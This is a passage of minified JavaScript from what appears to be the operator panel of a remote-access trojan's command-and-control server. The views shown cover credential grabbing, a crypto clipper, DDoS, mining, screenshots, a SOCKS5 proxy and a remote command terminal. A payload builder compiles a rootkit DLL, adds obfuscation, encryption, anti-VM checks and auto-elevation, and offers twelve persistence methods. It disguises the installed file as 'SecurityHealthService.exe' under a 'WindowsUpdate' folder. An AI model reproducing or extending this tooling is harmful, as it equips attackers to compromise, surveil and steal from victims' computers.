0}),a.jsx(Nn,{label:"Files",active:j==="files",onClick:()=>q("files")}),a.jsx(Nn,{label:"Processes",active:j==="processes",onClick:()=>q("processes")}),a.jsx(Nn,{label:"Windows",active:j==="windows",onClick:()=>q("windows")}),a.jsx(Nn,{label:"Apps",active:j==="apps",onClick:()=>q("apps")}),a.jsx(Nn,{label:"System",active:j==="system",onClick:()=>q("system")}),a.jsx(Nn,{label:"Troll",active:j==="troll",onClick:()=>q("troll")}),a.jsx(Nn,{label:"Credentials",active:j==="credentials",onClick:()=>q("credentials")}),a.jsx(Nn,{label:"Clipper",active:j==="clipper",onClick:()=>q("clipper")}),a.jsx(Nn,{label:"DDoS",active:j==="ddos",onClick:()=>q("ddos")}),a.jsx(Nn,{label:"Miner",active:j==="miner",onClick:()=>q("miner")})]}),a.jsxs("div",{className:"flex-1 min-h-0 overflow-auto custom-scrollbar",children:[a.jsx("div",{style:{display:j==="overview"?void 0:"none"},children:a.jsxs("div",{className:"p-6 grid grid-cols-12 gap-6 animate-fade-in",children:[a.jsxs("div",{className:"col-span-12 lg:col-span-5 xl:col-span-4 space-y-4",children:[a.jsxs(Om,{title:"System",children:[a.jsx(an,{label:"Hostname",value:i.hostname}),a.jsx(an,{label:"Username",value:i.username}),a.jsx(an,{label:"OS",value:Io(i.os)}),a.jsx(an,{label:"Architecture",value:i.arch}),a.jsx(an,{label:"PID",value:String(i.pid),mono:!0}),a.jsx(an,{label:"Integrity",value:i.integrity}),a.jsx(an,{label:"Elevated",value:i.elevated?"Yes":"No",valueClass:i.elevated?"text-zerin-text font-medium":""})]}),a.jsxs(Om,{title:"Network",children:[a.jsx(an,{label:"Internal IP",value:i.internal_ip,mono:!0}),a.jsx(an,{label:"External IP",value:i.external_ip,mono:!0})]}),a.jsxs(Om,{title:"Timing",children:[a.jsx(an,{label:"Sleep / Jitter",value:Ij(i.sleep_interval,i.jitter),mono:!0}),a.jsx(an,{label:"First Seen",value:Lo(i.first_seen)}),a.jsx(an,{label:"Last Seen",value:eu(i.last_seen)}),a.jsx(an,{label:"Agent ID",value:no(i.id),mono:!0})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"SOCKS5 Proxy"}),a.jsx("span",{className:`inline-block w-2 h-2 rounded-full ${U!=null&&U.active?"bg-emerald-400":"bg-zinc-600"}`})]}),a.jsx("div",{className:"px-4 py-3",children:U!=null&&U.active?a.jsxs("div",{className:"space-y-2",children:[a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Bind"}),a.jsx("span",{className:"font-mono text-zerin-text",children:U.port?`127.0.0.1:${U.port}`:"-"})]}),a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Channels"}),a.jsx("span",{className:"font-mono text-zerin-text",children:U.channels})]}),a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Traffic"}),a.jsxs("span",{className:"font-mono text-zerin-text",children:[Mp(U.bytes_in)," in / ",Mp(U.bytes_out)," out"]})]}),a.jsx("button",{onClick:async()=>{try{await f6(i.id),V({active:!1,port:0,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full mt-1 px-3 py-1.5 text-xs font-medium text-zerin-danger bg-zerin-danger-dim hover:bg-zerin-danger/20 transition-colors",children:"Stop Proxy"})]}):a.jsxs("div",{className:"space-y-2",children:[a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"No active SOCKS5 session"}),i.status!=="dead"&&a.jsx("button",{onClick:async()=>{try{const $=await Aj(i.id);V({active:!0,port:$.port,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full px-3 py-1.5 text-xs font-medium text-zerin-accent bg-zerin-accent-muted hover:bg-zerin-accent/20 transition-colors",children:"Start Proxy"})]})})]})]}),a.jsx("div",{className:"col-span-12 lg:col-span-7 xl:col-span-8",children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"Task History"})}),a.jsx("div",{className:"overflow-x-auto",children:C.length===0?a.jsx("div",{className:"px-4 py-12 text-center",children:a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No tasks have been submitted yet."})}):a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Command"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Status"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Created At"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...C].reverse().map($=>{var ve;const fe=(ve=$.args)!=null&&ve.length?" "+$.args.join(" "):"";return a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsxs("td",{className:"px-4 py-2.5 font-mono text-zerin-text text-xs whitespace-nowrap",children:[$.command,fe]}),a.jsx("td",{className:"px-4 py-2.5",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-medium ${hV[$.status]??"bg-zerin-panel-hover text-zerin-text-muted"}`,children:$.status})}),a.jsx("td",{className:"px-4 py-2.5 text-zerin-text-dim text-xs whitespace-nowrap",children:Lo($.created_at)})]},$.id)})})]})})]})})]})}),k.has("files")&&a.jsx("div",{style:{display:j==="files"?void 0:"none"},children:a.jsx(QU,{agentId:i.id,agentStatus:i.status})}),k.has("processes")&&a.jsx("div",{style:{display:j==="processes"?void 0:"none"},children:a.jsx(JU,{agentId:i.id,agentStatus:i.status})}),k.has("windows")&&a.jsx("div",{style:{display:j==="windows"?void 0:"none"},children:a.jsx(eV,{agentId:i.id,agentStatus:i.status})}),k.has("apps")&&a.jsx("div",{style:{display:j==="apps"?void 0:"none"},children:a.jsx(tV,{agentId:i.id,agentStatus:i.status})}),k.has("system")&&a.jsx("div",{style:{display:j==="system"?void 0:"none"},children:a.jsx(nV,{agentId:i.id,agentStatus:i.status})}),k.has("troll")&&a.jsx("div",{style:{display:j==="troll"?void 0:"none"},children:a.jsx(iV,{agentId:i.id})}),k.has("credentials")&&a.jsx("div",{style:{display:j==="credentials"?void 0:"none"},children:a.jsx(uV,{agentId:i.id,agentStatus:i.status,autoGrab:M,onAutoGrabConsumed:()=>{F(!1),n.delete("auto"),r(n,{replace:!0})}})}),k.has("clipper")&&a.jsx("div",{style:{display:j==="clipper"?void 0:"none"},children:a.jsx(mV,{agentId:i.id,agentStatus:i.status})}),k.has("ddos")&&a.jsx("div",{style:{display:j==="ddos"?void 0:"none"},children:a.jsx(lS,{agentIds:[i.id],agentStatus:i.status})}),k.has("miner")&&a.jsx("div",{style:{display:j==="miner"?void 0:"none"},children:a.jsx(pV,{agentId:i.id,agentStatus:i.status})}),k.has("screenshots")&&a.jsx("div",{style:{display:j==="screenshots"?void 0:"none"},children:a.jsx("div",{className:"p-6 animate-fade-in",children:B.length===0?a.jsx("div",{className:"flex items-center justify-center py-20",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909M3.75 21h16.5A2.25 2.25 0 0022.5 18.75V5.25A2.25 2.25 0 0020.25 3H3.75A2.25 2.25 0 001.5 5.25v13.5A2.25 2.25 0 003.75 21z"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"No Screenshots"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Run the ",a.jsx("span",{className:"font-mono text-zerin-accent",children:"screenshot"})," command to capture the agent display."]})]})}):a.jsx("div",{className:"grid grid-cols-2 xl:grid-cols-3 2xl:grid-cols-4 gap-4",children:B.map($=>a.jsxs("button",{onClick:()=>O($.dataUrl),className:`group bg-zerin-panel border border-zerin-panel-border + hover:border-zerin-panel-border-hover transition-all overflow-hidden text-left`,children:[a.jsx("div",{className:"aspect-video bg-zerin-bg overflow-hidden flex items-center justify-center",children:K.has($.dataUrl)?a.jsx("span",{className:"text-zerin-text-muted text-xs",children:"Failed to decode"}):a.jsx("img",{src:$.dataUrl,alt:`Screenshot ${no($.taskId)}`,className:`w-full h-full object-cover opacity-90 + group-hover:opacity-100 group-hover:scale-[1.02] transition-all duration-200`,loading:"lazy",onError:()=>_(fe=>new Set(fe).add($.dataUrl))})}),a.jsx("div",{className:"px-3 py-2 border-t border-zerin-panel-border",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted",children:no($.taskId)}),a.jsx("span",{className:"text-xs text-zerin-text-muted",children:eu($.timestamp)})]})})]},$.taskId))})})})]}),a.jsxs("div",{className:"flex-shrink-0 border-t border-zerin-panel-border bg-zerin-panel",children:[a.jsxs("button",{onClick:()=>T($=>!$),className:`w-full flex items-center gap-2 px-4 py-2 text-xs text-zerin-text-dim + hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors select-none`,children:[a.jsx("svg",{className:`w-3.5 h-3.5 transition-transform duration-200 ${A?"rotate-180":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}),a.jsx("span",{className:"font-medium",children:"Terminal"}),i.status==="dead"&&a.jsx("span",{className:"text-zerin-danger text-[10px] font-medium ml-1",children:"(offline)"})]}),A&&a.jsx("div",{className:"animate-slide-up-panel",style:{height:180},children:a.jsxs("div",{className:"h-full flex flex-col border-t border-zerin-panel-border",children:[a.jsx(ZU,{lines:ne,className:"flex-1 border-0"}),a.jsxs("div",{className:"relative border-t border-zerin-panel-border bg-zerin-panel px-4 py-2.5",children:[b&&le.length>0&&a.jsx("div",{className:`absolute bottom-full left-0 right-0 mb-0 + bg-zerin-panel border border-zerin-panel-border + z-10 max-h-48 overflow-y-auto custom-scrollbar`,children:a.jsxs("div",{className:"p-2",children:[a.jsx("div",{className:"text-[10px] text-zerin-text-muted font-medium mb-1.5 px-1 uppercase tracking-wider",children:"Commands"}),a.jsx("div",{className:"flex flex-wrap gap-1",children:le.map($=>a.jsx("button",{onClick:()=>Ne($),className:`px-2.5 py-1 text-xs font-mono + bg-zerin-bg text-zerin-text-dim + border border-zerin-panel-border + hover:text-zerin-accent hover:border-zerin-accent/40 + hover:bg-zerin-accent-muted transition-colors`,children:$},$))})]})}),G&&a.jsx("div",{className:"text-zerin-danger text-xs font-mono mb-1.5 px-1",children:G}),a.jsxs("form",{onSubmit:we,className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-zerin-accent font-mono text-sm select-none font-semibold",children:"$"}),a.jsx("input",{ref:ye,type:"text",value:x,onChange:$=>g($.target.value),onFocus:()=>w(!0),onBlur:()=>setTimeout(()=>w(!1),200),placeholder:"Enter command...",disabled:y||i.status==="dead",className:`flex-1 bg-zerin-bg border border-zerin-panel-border + px-3 py-1.5 text-zerin-text font-mono text-sm + placeholder-zerin-text-muted + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 + disabled:opacity-40 disabled:cursor-not-allowed transition-all`}),a.jsx("button",{type:"submit",disabled:y||!x.trim()||i.status==="dead",className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white + text-sm font-medium px-4 py-1.5 + disabled:opacity-30 disabled:cursor-not-allowed + transition-colors`,children:y?"Sending...":"Execute"})]})]})]})})]})]}),a.jsx(Dj,{agentId:i.id,agentHostname:i.hostname,open:P,onClose:()=>D(!1)}),S&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/80",onClick:()=>O(null),children:a.jsxs("div",{className:"relative max-w-[90vw] max-h-[90vh]",onClick:$=>$.stopPropagation(),children:[a.jsxs("button",{onClick:()=>O(null),className:`absolute -top-10 right-0 flex items-center gap-1.5 text-zerin-text-dim + hover:text-zerin-text text-sm transition-colors px-2 py-1 + hover:bg-white/10`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"Close"]}),a.jsx("img",{src:S,alt:"Screenshot",className:"max-w-[90vw] max-h-[85vh] object-contain"})]})})]})}function Nn({label:e,active:t,onClick:n,badge:r}){return a.jsxs("button",{onClick:n,className:` + px-4 py-2 text-sm font-medium transition-colors border-b-2 -mb-px + ${t?"text-zerin-accent border-zerin-accent":"text-zerin-text-muted border-transparent hover:text-zerin-text"} + `,children:[e,r!==void 0&&a.jsx("span",{className:"ml-1.5 bg-zerin-accent-muted text-zerin-accent text-xs font-mono px-1.5 py-0.5",children:r})]})}function Om({title:e,children:t}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:e})}),a.jsx("div",{className:"p-4 space-y-2.5",children:t})]})}function an({label:e,value:t,valueClass:n="",mono:r=!1}){return a.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[a.jsx("span",{className:"text-zerin-text-muted text-sm",children:e}),a.jsx("span",{className:`text-sm ${r?"font-mono":""} ${n||"text-zerin-text"}`,children:t})]})}const uS={agent_checkin:"Agent Check-in",agent_registered:"Agent Registered",agent_stale:"Agent Stale",agent_dead:"Agent Dead",task_queued:"Task Queued",task_result:"Task Result",task_completed:"Task Completed",task_failed:"Task Failed",operator_login:"Operator Login",listener_start:"Listener Started",listener_started:"Listener Started",listener_stopped:"Listener Stopped",server_start:"Server Started",payload_build:"Payload Built",vnc_started:"VNC Started",vnc_stopped:"VNC Stopped",system:"System"},W2={info:{label:"Info",dotClass:"bg-zinc-500",badgeBg:"bg-zinc-500/10",badgeText:"text-zinc-400"},success:{label:"Success",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/10",badgeText:"text-zinc-300"},warning:{label:"Warning",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/8",badgeText:"text-zinc-400"},error:{label:"Error",dotClass:"bg-zerin-danger",badgeBg:"bg-zerin-danger-dim",badgeText:"text-zerin-danger"}},vV=["agent_checkin","agent_registered","agent_stale","agent_dead","task_queued","task_result","task_completed","task_failed","operator_login","listener_start","listener_started","listener_stopped","server_start","payload_build","system"];function gV(){const[e,t]=m.useState([]),[n,r]=m.useState(!0),[i,s]=m.useState("all"),[o,l]=m.useState(null),c=m.useCallback(async()=>{try{const p=await t6();t(p)}catch{}finally{r(!1)}},[]);m.useEffect(()=>{c()},[c]);const{lastMessage:u}=m.useContext(gd);m.useEffect(()=>{if(u&&u.type==="event"){const p=u.payload;t(h=>{const x=[p,...h];return x.length>1e3?x.slice(0,1e3):x})}},[u]);const d=i==="all"?e:e.filter(p=>p.type===i),f=1e3;return a.jsxs("div",{className:"p-6",children:[e.length>=f&&a.jsxs("div",{className:"mb-4 flex items-center gap-2 bg-zerin-accent-muted border border-zerin-accent/20 px-4 py-2.5 text-sm text-zerin-accent",children:[a.jsx("svg",{className:"w-4 h-4 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),"Showing latest ",f," events. Older events are not displayed."]}),a.jsx("div",{className:"flex items-center justify-between mb-6",children:a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Events"}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel border border-zerin-panel-border px-2 py-0.5 tabular-nums",children:e.length})]})}),a.jsxs("div",{className:"flex flex-wrap gap-2 mb-6",children:[a.jsx(U2,{label:"All",active:i==="all",onClick:()=>s("all")}),vV.map(p=>a.jsx(U2,{label:uS[p],active:i===p,onClick:()=>s(i===p?"all":p)},p))]}),n?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[a.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading events..."]})}):d.length===0?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No events to display"}),i!=="all"&&a.jsx("button",{onClick:()=>s("all"),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm mt-2 transition-colors",children:"Clear filter"})]})}):a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Severity"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Type"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Message"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Time"})]}),a.jsx("div",{children:d.map((p,h)=>a.jsx(yV,{event:p,expanded:o===p.id,onToggle:()=>l(o===p.id?null:p.id)},p.id||h))})]})]})}function yV({event:e,expanded:t,onToggle:n}){const r=W2[e.severity]||W2.info,i=e.details&&Object.keys(e.details).length>0;return a.jsxs("div",{className:`border-b border-zerin-panel-border last:border-b-0 transition-colors duration-100 ${t?"bg-zerin-panel-hover":"hover:bg-zerin-panel-hover"}`,children:[a.jsxs("div",{className:`grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-3 items-center ${i?"cursor-pointer":""}`,onClick:i?n:void 0,children:[a.jsx("div",{children:a.jsxs("span",{className:`inline-flex items-center gap-1.5 text-xs font-medium px-2.5 py-0.5 ${r.badgeBg} ${r.badgeText}`,children:[a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${r.dotClass}`}),r.label]})}),a.jsx("div",{children:a.jsx("span",{className:"text-xs font-mono text-zerin-text-dim bg-zerin-bg px-2 py-0.5",children:uS[e.type]||e.type})}),a.jsx("div",{className:"min-w-0",children:a.jsx("p",{className:"text-sm text-zerin-text truncate",children:e.message})}),a.jsx("div",{className:"text-right",children:a.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:d_(e.timestamp)})})]}),t&&i&&a.jsx("div",{className:"px-4 pb-3",children:a.jsxs("div",{className:"ml-[100px] bg-zerin-bg border border-zerin-panel-border p-3",children:[a.jsx("p",{className:"text-xs font-medium text-zerin-text-dim mb-2 uppercase tracking-wider",children:"Details"}),a.jsx("div",{className:"space-y-1",children:Object.entries(e.details).map(([s,o])=>a.jsxs("div",{className:"flex items-baseline gap-2 text-xs font-mono",children:[a.jsxs("span",{className:"text-zerin-text-muted",children:[s,":"]}),a.jsx("span",{className:"text-zerin-text",children:String(o)})]},s))})]})})]})}function U2({label:e,active:t,onClick:n}){return a.jsx("button",{onClick:n,className:` + px-3 py-1 text-xs font-medium border transition-all duration-150 + ${t?"bg-zerin-accent-muted text-zerin-accent border-zerin-accent/30":"bg-zerin-panel text-zerin-text-muted border-zerin-panel-border hover:text-zerin-text-dim hover:border-zerin-panel-border-hover"} + `,children:e})}const V2="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";function H2(){return`agent-${Math.random().toString(16).slice(2,6)}`}const K2=[{at:0,label:"Preparing source..."},{at:5,label:"Generating obfuscation..."},{at:10,label:"Compiling rootkit DLL..."},{at:20,label:"Compiling agent (this takes a moment)..."},{at:80,label:"Encrypting payload..."},{at:90,label:"Finalizing..."}],bV=[{flag:1,label:"Run Key",admin:!1,dllOnly:!1},{flag:2,label:"Scheduled Task",admin:!1,dllOnly:!1},{flag:4,label:"Service",admin:!0,dllOnly:!1},{flag:8,label:"Startup Folder",admin:!1,dllOnly:!1},{flag:16,label:"Logon Script",admin:!1,dllOnly:!1},{flag:32,label:"Screensaver",admin:!1,dllOnly:!1},{flag:64,label:"IFEO Debugger",admin:!0,dllOnly:!1},{flag:128,label:"BITS Job",admin:!1,dllOnly:!1},{flag:256,label:"COM Hijack",admin:!1,dllOnly:!0},{flag:512,label:"WMI Event",admin:!0,dllOnly:!1},{flag:1024,label:"Port Monitor",admin:!0,dllOnly:!1},{flag:2048,label:"SSP (LSA)",admin:!0,dllOnly:!1}];function wV(){const{isAdmin:e}=ya(),[t,n]=m.useState([]),[r,i]=m.useState(!0),[s,o]=m.useState(!1),[l,c]=m.useState(0),[u,d]=m.useState(0),[f,p]=m.useState(""),[h,x]=m.useState(""),g=m.useSyncExternalStore(Tj,Oj),y=g.status==="building",[v,b]=m.useState(H2),[w,j]=m.useState([""]),[N,k]=m.useState("30"),[z,S]=m.useState("25"),[O,A]=m.useState(""),[T,P]=m.useState(V2),[D,G]=m.useState(!1),[R,K]=m.useState("exe"),[_,M]=m.useState(0),[F,U]=m.useState(!0),[V,Z]=m.useState(!0),[ae,ue]=m.useState(!0),[be,ye]=m.useState(!0),[q,te]=m.useState(1),[C,Y]=m.useState("Microsoft\\WindowsUpdate"),[ne,B]=m.useState("SecurityHealthService.exe"),[le,we]=m.useState(null),Ne=m.useCallback(async()=>{try{const H=await i6();n(H)}catch{}finally{i(!1)}},[]);m.useEffect(()=>{Ne(),a6().then(H=>{j(se=>se.length===1&&se[0]===""?[H.default_callback_url]:se)}).catch(()=>{})},[Ne]),m.useEffect(()=>{if(!y||!g.startedAt){c(0),d(0);return}const H=setInterval(()=>{const W=Math.floor((Date.now()-g.startedAt)/1e3);d(W);const Q=Math.min(95,Math.floor(100*(1-Math.exp(-W/50))));c(Q)},500),se=Math.floor((Date.now()-g.startedAt)/1e3);return d(se),c(Math.min(95,Math.floor(100*(1-Math.exp(-se/50))))),()=>clearInterval(H)},[y,g.startedAt]),m.useEffect(()=>{y&&o(!0)},[]),m.useEffect(()=>{g.status==="success"?(x(`Payload "${g.payloadName}" built successfully`),o(!1),sy(),Ne()):g.status==="error"&&(p(g.error||"Failed to build payload"),sy())},[g.status]),m.useEffect(()=>{if(!h)return;const H=setTimeout(()=>x(""),4e3);return()=>clearTimeout(H)},[h]);function Ae(){b(H2()),k("30"),S("25"),A(""),P(V2),G(!1),K("exe"),M(0),U(!0),Z(!0),ue(!0),ye(!0),te(1),Y("Microsoft\\WindowsUpdate"),B("SecurityHealthService.exe")}async function $(H){H.preventDefault(),p("");const se=w.filter(he=>he.trim()!=="");let W=0;O&&(W=Math.floor(new Date(O).getTime()/1e3));const Q={name:v.trim(),callback_urls:se,sleep_interval:parseInt(N,10)||30,jitter_percent:parseInt(z,10)||25,kill_date:W,user_agent:T.trim(),output_format:R,debug:D,persist_methods:_||void 0,rootkit_enabled:F,encryption_enabled:V,anti_vm:ae,auto_elevate:be,install_dir:q,install_subdir:C,install_filename:ne};q6(Q.name);try{await r6(Q),X6(),Ae()}catch(he){he instanceof bi?ay(he.message):ay("Failed to build payload")}}async function fe(H){const se=st();if(!se){p("Not authenticated");return}try{const W=await fetch(`/api/payloads/${H.payload_id}/download`,{headers:{Authorization:`Bearer ${se}`}});if(!W.ok){p("Download failed");return}const Q=await W.blob(),he=URL.createObjectURL(Q),E=document.createElement("a");E.href=he;const ce=W.headers.get("content-disposition"),J=ce==null?void 0:ce.match(/filename="(.+?)"/);E.download=(J==null?void 0:J[1])||`${H.name||"payload"}.exe`,document.body.appendChild(E),E.click(),document.body.removeChild(E),URL.revokeObjectURL(he)}catch{p("Download failed")}}async function ve(H){try{await s6(H),we(null),Ne()}catch{p("Failed to delete payload")}}return a.jsxs("div",{className:"p-6",children:[a.jsxs("div",{className:"flex items-center justify-between mb-6",children:[a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Build"}),a.jsx("button",{onClick:()=>{o(!s),p("")},className:` + text-sm font-medium px-4 py-2 transition-all duration-150 + ${s?"bg-zerin-panel text-zerin-text-dim border border-zerin-panel-border hover:bg-zerin-panel-hover":"bg-zerin-accent hover:bg-zerin-accent-hover text-white"} + `,children:s?"Cancel":"+ Build Agent"})]}),h&&a.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 text-zerin-accent px-4 py-2.5 text-sm mb-4",children:h}),s&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-5 mb-6",children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text mb-4",children:"Build Agent"}),f&&a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/30 text-zerin-danger px-4 py-2.5 text-sm mb-4",children:f}),a.jsxs("form",{onSubmit:$,className:"space-y-4",children:[a.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[a.jsx(ir,{label:"Payload Name",children:a.jsx("input",{type:"text",value:v,onChange:H=>b(H.target.value),required:!0,placeholder:"payload-001",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})}),a.jsx(ir,{label:"Output Format",children:a.jsxs("select",{value:R,onChange:H=>{const se=H.target.value;K(se),se==="exe"&&M(W=>W&-257)},className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200 cursor-pointer`,children:[a.jsx("option",{value:"exe",children:"EXE"}),a.jsx("option",{value:"bat",children:"BAT (Dropper Script)"})]})})]}),a.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[a.jsx(ir,{label:"Sleep Interval (seconds)",children:a.jsx("input",{type:"number",value:N,onChange:H=>k(H.target.value),required:!0,min:"1",placeholder:"30",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200\r + [appearance:textfield] [&::-webkit-outer-spin-button]:appearance-none [&::-webkit-inner-spin-button]:appearance-none`})}),a.jsx(ir,{label:`Jitter (${z}%)`,children:a.jsx("input",{type:"range",value:z,onChange:H=>S(H.target.value),min:"0",max:"50",className:`w-full h-2 bg-zerin-bg border border-zerin-panel-border appearance-none cursor-pointer\r + [&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:w-3 [&::-webkit-slider-thumb]:h-3\r + [&::-webkit-slider-thumb]:bg-zerin-accent [&::-webkit-slider-thumb]:cursor-pointer\r + [&::-moz-range-thumb]:w-3 [&::-moz-range-thumb]:h-3 [&::-moz-range-thumb]:bg-zerin-accent\r + [&::-moz-range-thumb]:border-0 [&::-moz-range-thumb]:cursor-pointer mt-2`})}),a.jsx(ir,{label:"Kill Date",children:a.jsx("input",{type:"datetime-local",value:O,onChange:H=>A(H.target.value),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200\r + [color-scheme:dark]`})})]}),a.jsx(ir,{label:"User Agent",children:a.jsx("input",{type:"text",value:T,onChange:H=>P(H.target.value),required:!0,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})}),e&&a.jsx(ir,{label:"Callback URLs",children:a.jsxs("div",{className:"space-y-2",children:[w.map((H,se)=>a.jsxs("div",{className:"flex gap-2",children:[a.jsx("input",{type:"text",value:H,onChange:W=>{const Q=[...w];Q[se]=W.target.value,j(Q)},placeholder:"https://1.2.3.4:8443",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`}),w.length>1&&a.jsx("button",{type:"button",onClick:()=>j(w.filter((W,Q)=>Q!==se)),className:"px-2 text-zerin-text-muted hover:text-zerin-danger transition-colors",children:a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 